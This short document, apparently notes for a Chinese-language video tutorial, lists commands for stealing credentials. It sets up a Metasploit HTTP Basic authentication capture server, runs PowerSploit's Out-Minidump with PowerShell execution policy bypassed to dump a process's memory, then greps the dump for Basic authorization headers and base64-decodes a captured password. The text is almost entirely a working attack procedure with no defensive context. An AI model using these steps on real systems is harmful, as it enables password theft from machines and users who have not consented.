视频教程地址

msfconsole -r pass.rc

use auxiliary/server/capture/http_basic
set uripath x
run

访问http://192.168.1.101/x

strings /root/Desktop/*.DMP | grep "Authorization: Basic"
echo "cXdmOnF3Zg==" | base64 -d

powersploit

使用该脚本获取内存中的密码

powershell -nop -ep bypass
Import-Module C:\Users\user\Desktop\Out-Minidump.ps1
Out-Minidump Get-Process -Id pid